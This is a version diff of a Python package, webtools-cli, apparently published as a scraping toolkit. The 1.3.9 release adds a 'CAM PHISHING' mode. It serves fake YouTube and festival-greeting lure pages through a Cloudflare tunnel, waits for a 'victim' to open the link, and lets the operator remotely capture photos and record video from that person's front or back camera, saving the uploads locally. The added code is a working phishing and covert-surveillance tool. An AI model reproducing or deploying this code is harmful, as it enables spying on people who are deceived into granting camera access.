webtools-cli 1.3.8__tar.gz → 1.3.9__tar.gz

{webtools_cli-1.3.8/webtools_cli.egg-info → webtools_cli-1.3.9}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: webtools-cli
-Version: 1.3.8
+Version: 1.3.9
 Summary: Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI
 Author: Abhinav Adarsh
 License-Expression: MIT

{webtools_cli-1.3.8 → webtools_cli-1.3.9}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "webtools-cli"
-version = "1.3.8"
+version = "1.3.9"
 description = "Advanced Web Intelligence & Scraping Toolkit with CLI and Web UI"
 readme = "README.md"
 license = "MIT"
@@ -55,5 +55,5 @@ Homepage = "https://webtoolscli.pages.dev"
 include = ["webtools*", "ComfyUI*"]
 
 [tool.setuptools.package-data]
-webtools = ["web/*"]
+webtools = ["web/*", "*.html"]
 ComfyUI = ["*.py"]

{webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/cli.py

@@ -8,7 +8,7 @@ def main():
     try:
         main_launcher()
     except KeyboardInterrupt:
-        print("\n👋 Goodbye!")
+        print("\n👋 Terminating session... Stay secure.")
         sys.exit(0)
 
 if __name__ == "__main__":

{webtools_cli-1.3.8 → webtools_cli-1.3.9}/webtools/core.py

@@ -30,6 +30,7 @@ if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8':
 # --- PACKAGE PATHS ---
 PACKAGE_DIR = os.path.dirname(os.path.abspath(__file__))
 DATA_DIR = os.path.join(os.path.expanduser('~'), '.webtools')
+os.makedirs(DATA_DIR, exist_ok=True)
 DB_PATH = os.path.join(DATA_DIR, 'app.db')
 # Scraped results are stored in a local 'webfiles' folder for better visibility
 SCRAPED_DIR = os.path.join(os.getcwd(), 'webfiles', 'scraped')
@@ -2827,6 +2828,71 @@ def api_translate():
         print(f"Translation Error: {e}")
         return jsonify({'error': str(e)}), 500
 
+# --- CAM PHISHING FEATURE ---
+CAM_STATE = {'action': None, 'page_name': None, 'yt_url': None, 'yt_title': None}
+CAM_DIR_PIC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'pic')
+CAM_DIR_REC = os.path.join(os.getcwd(), 'webfiles', 'cam', 'rec')
+os.makedirs(CAM_DIR_PIC, exist_ok=True)
+os.makedirs(CAM_DIR_REC, exist_ok=True)
+
+@app.route('/yt')
+@app.route('/festival')
+def serve_cam_watch():
+    page_name = CAM_STATE.get('page_name')
+    if page_name in ['youtube', 'festivals']:
+        return send_from_directory(PACKAGE_DIR, f"{page_name}.html")
+    return "Not found", 404
+
+@app.route('/api/cam/config', methods=['GET'])
+def api_cam_config():
+    return jsonify({
+        'yt_url': CAM_STATE.get('yt_url', ''),
+        'yt_title': CAM_STATE.get('yt_title', 'YouTube')
+    })
+
+@app.route('/api/cam/action', methods=['GET'])
+def api_cam_action():
+    action = CAM_STATE['action']
+    CAM_STATE['action'] = None
+    return jsonify({'action': action})
+
+@app.route('/api/cam/upload', methods=['POST'])
+def api_cam_upload():
+    try:
+        data = request.get_json(silent=True) or {}
+        upload_type = data.get('type') # 'pic' or 'rec'
+        content = data.get('content') # base64 string
+        
+        if not upload_type or not content:
+            return jsonify({'error': 'Missing type or content'}), 400
+            
+        timestamp = int(time.time())
+        
+        if upload_type == 'pic':
+            # content is data:image/jpeg;base64,...
+            header, encoded = content.split(",", 1)
+            img_data = base64.b64decode(encoded)
+            filename = f"capture_{timestamp}.jpg"
+            filepath = os.path.join(CAM_DIR_PIC, filename)
+            with open(filepath, 'wb') as f:
+                f.write(img_data)
+            print(f"\n[+] Picture saved: {filepath}\n> ", end="")
+            
+        elif upload_type == 'rec':
+            # content is data:video/webm;base64,...
+            header, encoded = content.split(",", 1)
+            vid_data = base64.b64decode(encoded)
+            filename = f"recording_{timestamp}.webm"
+            filepath = os.path.join(CAM_DIR_REC, filename)
+            with open(filepath, 'wb') as f:
+                f.write(vid_data)
+            print(f"\n[+] Video saved: {filepath}\n> ", end="")
+            
+        return jsonify({'success': True})
+    except Exception as e:
+        print(f"\n[-] Upload error: {e}")
+        return jsonify({'error': str(e)}), 500
+
 def wait_for_server(port, timeout=10):
     start = time.time()
     while time.time() - start < timeout:
@@ -3690,9 +3756,95 @@ def run_comfyui_mode():
                 try: comfy_proc.wait(timeout=5)
                 except: comfy_proc.kill()
 
+def run_cam_mode():
+    """Interactive CLI flow for the /cam feature"""
+    os.system('cls' if os.name == 'nt' else 'clear')
+    print(f"\n{Fore.CYAN}--- CAM PHISHING MODE ---{Style.RESET_ALL}")
+    print("Select target page template:")
+    print(f"  {Fore.CYAN}[1]{Style.RESET_ALL} Youtube")
+    print(f"  {Fore.CYAN}[2]{Style.RESET_ALL} Feastival Wishing")
+    print(f"  {Fore.RED}[b]{Style.RESET_ALL} Back to main menu")
+    
+    choice = input(f"\n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
+    if choice == 'b':
+        return
+        
+    yt_url = ""
+    if choice == '1':
+        CAM_STATE['page_name'] = "youtube"
+        yt_url = input(f"Enter YouTube Link (e.g. https://www.youtube.com/watch?v=...): \n{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip()
+        CAM_STATE['yt_url'] = yt_url
+        
+        yt_title = "YouTube"
+        if yt_url:
+            import urllib.request, json, urllib.parse
+            try:
+                oembed_url = f"https://www.youtube.com/oembed?url={urllib.parse.quote(yt_url)}&format=json"
+                with urllib.request.urlopen(oembed_url, timeout=5) as response:
+                    data = json.loads(response.read().decode('utf-8'))
+                    yt_title = data.get('title', "YouTube")
+            except Exception:
+                pass
+        CAM_STATE['yt_title'] = yt_title
+    elif choice == '2':
+        CAM_STATE['page_name'] = "festivals"
+    else:
+        print(f"{Fore.RED}Invalid choice.{Style.RESET_ALL}")
+        time.sleep(1)
+        return
+
+    # Start Flask server if not running
+    threading.Thread(target=lambda: app.run(host='0.0.0.0', port=PORT, debug=False, use_reloader=False, threaded=True), daemon=True).start()
+    
+    public_url, tunnel_proc = None, None
+    with MoonSpinner("Initializing Tunnel"):
+        if wait_for_server(PORT, timeout=10):
+            public_url, tunnel_proc = start_cloudflare_tunnel(PORT)
+        else:
+            print("❌ Server failed to start")
+            return
+
+    if not public_url:
+        print("❌ Failed to create tunnel")
+        return
+    if CAM_STATE.get('page_name') == 'youtube':
+        target_url = f"{public_url}/yt"
+    else:
+        target_url = f"{public_url}/festival"
+
+    os.system('cls' if os.name == 'nt' else 'clear')
+    print(f"\n{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
+    print(f"{Fore.GREEN}🚀 Link is LIVE:{Style.RESET_ALL} {Fore.CYAN}{target_url}{Style.RESET_ALL}")
+    print(f"{Fore.GREEN}{'='*60}{Style.RESET_ALL}")
+    print("\nWaiting for victim to open the link... (They will be prompted for camera after 5 sec)")
+    print(f"\n{Fore.YELLOW}Available Commands:{Style.RESET_ALL}")
+    print("  p : Capture picture")
+    print("  r : Record video (Continuous chunks)")
+    print("  f : Switch to Front Camera (Mobile)")
+    print("  b : Switch to Back Camera (Mobile)")
+    print("  q : Quit and return to menu\n")
+
+    try:
+        while True:
+            cmd = input(f"{Fore.LIGHTGREEN_EX}> {Style.RESET_ALL}").strip().lower()
+            if cmd == 'q' or cmd == '/q':
+                break
+            elif cmd in ['p', 'r', 'f', 'b']:
+                action_map = {'p': 'picture', 'r': 'record', 'f': 'switch_front', 'b': 'switch_back'}
+                CAM_STATE['action'] = action_map[cmd]
+                print(f"[*] Command '{action_map[cmd]}' sent to client. Waiting for response...")
+            else:
+                print(f"{Fore.RED}Unknown command.{Style.RESET_ALL}")
+    except KeyboardInterrupt:
+        pass
+    finally:
+        if tunnel_proc:
+            try: tunnel_proc.terminate()
+            except: pass
+
 def main_launcher():
     """Mode selection menu on startup"""
-    menu_commands = ['/web', '/cli', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
+    menu_commands = ['/web', '/cli', '/cam', '/image', '/adb', '/help', '/clear', '/quit', '/history', '/w', '/c', '/i', '/a', '/h', '/q', '/hi', '--help']
     
     # Conditional ComfyUI visibility
     has_gpu = check_gpu()
@@ -3726,6 +3878,8 @@ def main_launcher():
                 run_cli_mode()
             elif choice in ['/image', '/i']:
                 run_image_forensics_mode()
+            elif choice in ['/cam']:
+                run_cam_mode()
             elif choice in ['/cui']:
                 if has_gpu or on_colab:
                     run_comfyui_mode()
@@ -3739,6 +3893,7 @@ def main_launcher():
                 print(f"  {Fore.CYAN}/image{Style.RESET_ALL}   - Local/Remote Image Forensics & AI detection. (Alias: /i)")
                 if has_gpu or on_colab:
                     print(f"  {Fore.CYAN}/cui{Style.RESET_ALL}     - Start ComfyUI session for AI generation.")
+                print(f"  {Fore.CYAN}/cam{Style.RESET_ALL}     - Remote camera access via phishing templates.")
                 print(f"  {Fore.CYAN}/adb{Style.RESET_ALL}     - ADB Bloatware Remover for Android devices. (Alias: /a)")
                 print(f"  {Fore.CYAN}/clear{Style.RESET_ALL}   - Purges the 'webfiles/scraped' directory and clears screen.")
                 print(f"  {Fore.CYAN}/history{Style.RESET_ALL} - Shows command history. (Alias: /hi)")
@@ -3762,14 +3917,14 @@ def main_launcher():
                 print("Cache purged and screen cleared.")
                 time.sleep(1)
             elif choice in ['/quit', '/q']:
-                print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Goodbye!")
+                print(f"\n{Fore.YELLOW if COLOR_SUPPORT else ''}Terminating session... Stay secure.{Style.RESET_ALL}")
                 sys.exit()
             elif choice in ['/adb', '/a']:
                 run_adb_mode()
             elif is_valid_url(choice):
                 run_cli_mode(choice)
         except KeyboardInterrupt:
-            print("\n\nGoodbye!")
+            print("\n\nTerminating session... Stay secure.")
             sys.exit()
 
 # --- ADB BLOATWARE REMOVER ---